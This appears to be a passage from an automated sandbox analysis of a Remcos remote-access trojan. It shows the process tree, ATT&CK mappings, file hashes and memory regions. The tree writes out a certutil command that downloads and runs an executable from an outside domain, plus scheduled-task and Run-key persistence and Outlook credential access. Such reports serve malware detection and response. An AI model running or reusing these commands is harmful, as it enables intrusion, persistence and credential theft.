"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
3⤵
- Suspicious use of WriteProcessMemory
PID:856

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f https://justclickam.com/dxll/ORDER%20075098.exe C:\Users\Admin\AppData\Local\Temp\bin.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:704

C:\Windows\SysWOW64\certutil.exe
certutil.exe -urlcache -split -f https://justclickam.com/dxll/ORDER%20075098.exe C:\Users\Admin\AppData\Local\Temp\bin.exe
5⤵
PID:1356

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\bin.exe
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:300

C:\Users\Admin\AppData\Local\Temp\bin.exe
C:\Users\Admin\AppData\Local\Temp\bin.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1596

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hpdjztrrH" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1A17.tmp"
6⤵
- Creates scheduled task(s)
PID:1516

C:\Users\Admin\AppData\Local\Temp\bin.exe
"{path}"
6⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1956

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
7⤵
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c "C:\ProgramData\Remcos\remcos.exe"
8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1736

C:\ProgramData\Remcos\remcos.exe
C:\ProgramData\Remcos\remcos.exe
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2020

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hpdjztrrH" /XML "C:\Users\Admin\AppData\Local\Temp\tmp98E6.tmp"
10⤵
- Creates scheduled task(s)
PID:1560

C:\ProgramData\Remcos\remcos.exe
"{path}"
10⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:964

C:\ProgramData\Remcos\remcos.exe
C:\ProgramData\Remcos\remcos.exe /stext "C:\Users\Admin\AppData\Local\Temp\zkulletcvkujvrxnfhhtlfat"
11⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1824

C:\ProgramData\Remcos\remcos.exe
C:\ProgramData\Remcos\remcos.exe /stext "C:\Users\Admin\AppData\Local\Temp\ugfonhoxfaebimzvfcoozxpthintrjb"
11⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:996

C:\ProgramData\Remcos\remcos.exe
C:\ProgramData\Remcos\remcos.exe /stext "C:\Users\Admin\AppData\Local\Temp\jmzwmwddrsmoyxlrwrcuosvkzbdk"
11⤵
- Executes dropped EXE
- Accesses Microsoft Outlook accounts
PID:1924

C:\Windows\SysWOW64\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:1160

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:828

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Remcos\remcos.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
C:\ProgramData\Remcos\remcos.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
C:\ProgramData\Remcos\remcos.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
C:\ProgramData\Remcos\remcos.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
C:\ProgramData\Remcos\remcos.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
C:\ProgramData\Remcos\remcos.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
C:\Users\Admin\AppData\Local\Temp\bin.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
C:\Users\Admin\AppData\Local\Temp\bin.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
C:\Users\Admin\AppData\Local\Temp\bin.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.vbs
Filesize
386B

MD5
1ec6289c6fd4c2ded6b2836ed28cbeb5

SHA1
c4e08195e6c640eb8860acc03fda1d649b4fe070

SHA256
6efdc40f9eb217f879607614e928b65bff759e424f3efb31faceb2a043c32dc2

SHA512
20bc46f4dee22f75f15c402c7c2eaee60fff7dd92548050585571dcbefd59485cc249c06bc3f1aac7a138e5ae67c0c3918b46ffa24c8b0f1b092e2f6b6e21288

Download Submit
C:\Users\Admin\AppData\Local\Temp\script.vbs
Filesize
301B

MD5
53fadd419d6720431005dc772d84aa40

SHA1
75e4387c8a99acb03a639a55f6b09e4244301953

SHA256
a22ee63ce1b9b8692b52a9e6ddd4522447b90c15cab207576cffcf67833f42f1

SHA512
a8095f4ebf9d7707844a4c28aa3d5e80eb4b2141adcb633be24b2a605ad663aba39888e5e878553d375826aadfa2381c9b2084dda534b708466409685f5aed7a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp1A17.tmp
Filesize
1KB

MD5
f72932c35e2b864d5c96127d1d2de382

SHA1
27bb115d0aef65306228cbffe2b1aed98e12b0d8

SHA256
7a196f71872735a082f4814e7656a03977d8f29d13c01b589c91ffad1a9e787c

SHA512
0b24fde0a71cd609950aae4a275d62c5e166efecf140cf24647084711cc1291745011bfa8c1a6a1ec3be8c1c62bff0715bed66f523f57cfda4b7bd4eb20c3796

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp98E6.tmp
Filesize
1KB

MD5
f72932c35e2b864d5c96127d1d2de382

SHA1
27bb115d0aef65306228cbffe2b1aed98e12b0d8

SHA256
7a196f71872735a082f4814e7656a03977d8f29d13c01b589c91ffad1a9e787c

SHA512
0b24fde0a71cd609950aae4a275d62c5e166efecf140cf24647084711cc1291745011bfa8c1a6a1ec3be8c1c62bff0715bed66f523f57cfda4b7bd4eb20c3796

Download Submit
C:\Users\Admin\AppData\Local\Temp\zkulletcvkujvrxnfhhtlfat
Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
\ProgramData\Remcos\remcos.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
\Users\Admin\AppData\Local\Temp\bin.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
\Users\Admin\AppData\Local\Temp\bin.exe
Filesize
824KB

MD5
550966f649e029ef5b8f7509e5387147

SHA1
01b15add5798939b8c3910c1d3afd815c606039e

SHA256
16b7219e20d78795eefeb5638857961342f773551898a950c7ef2245db1e0179

SHA512
835a59a722c36d3fd32afe65314711cf4c3f9bb764a9391e754cd7f059cda0a744c9c7ce238508097bad33e7d123156b86a09d2678fe551c71b9924f60c65270

Download Submit
memory/300-69-0x0000000000000000-mapping.dmp

Download
memory/704-66-0x0000000000000000-mapping.dmp

Download
memory/828-79-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp

Filesize
8KB

Download
memory/828-78-0x0000000000000000-mapping.dmp

Download
memory/856-62-0x0000000000000000-mapping.dmp

Download
memory/964-133-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/964-129-0x0000000000431CA9-mapping.dmp

Download
memory/964-134-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/964-152-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/996-140-0x0000000000422206-mapping.dmp

Download
memory/996-144-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1100-103-0x0000000000000000-mapping.dmp

Download
memory/1160-63-0x0000000000000000-mapping.dmp

Download
memory/1356-67-0x0000000000000000-mapping.dmp

Download
memory/1516-82-0x0000000000000000-mapping.dmp

Download
memory/1560-114-0x0000000000000000-mapping.dmp

Download
memory/1584-74-0x00000000713BD000-0x00000000713C8000-memory.dmp

Filesize
44KB

Download
memory/1584-55-0x00000000703D1000-0x00000000703D3000-memory.dmp

Filesize
8KB

Download
memory/1584-151-0x00000000713BD000-0x00000000713C8000-memory.dmp

Filesize
44KB

Download
memory/1584-150-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1584-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1584-57-0x0000000075241000-0x0000000075243000-memory.dmp

Filesize
8KB

Download
memory/1584-58-0x00000000713BD000-0x00000000713C8000-memory.dmp

Filesize
44KB

Download
memory/1584-54-0x0000000072951000-0x0000000072954000-memory.dmp

Filesize
12KB

Download
memory/1596-81-0x0000000005DB0000-0x0000000005E2C000-memory.dmp

Filesize
496KB

Download
memory/1596-72-0x0000000000000000-mapping.dmp

Download
memory/1596-75-0x0000000000C00000-0x0000000000CD4000-memory.dmp

Filesize
848KB

Download
memory/1596-77-0x00000000005E0000-0x0000000000600000-memory.dmp

Filesize
128KB

Download
memory/1596-80-0x0000000005B00000-0x0000000005BBC000-memory.dmp

Filesize
752KB

Download
memory/1736-107-0x0000000000000000-mapping.dmp

Download
memory/1824-135-0x0000000000476274-mapping.dmp

Download
memory/1824-147-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1824-145-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1924-146-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/1924-137-0x0000000000455238-mapping.dmp

Download
memory/1924-149-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/1956-92-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-104-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-91-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-97-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-95-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-98-0x0000000000431CA9-mapping.dmp

Download
memory/1956-88-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-93-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-86-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-90-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-85-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1956-102-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/1984-60-0x0000000000000000-mapping.dmp

Download
memory/2020-112-0x00000000009A0000-0x0000000000A74000-memory.dmp

Filesize
848KB

Download
memory/2020-110-0x0000000000000000-mapping.dmp

Download
memory/2020-59-0x0000000000000000-mapping.dmp

Download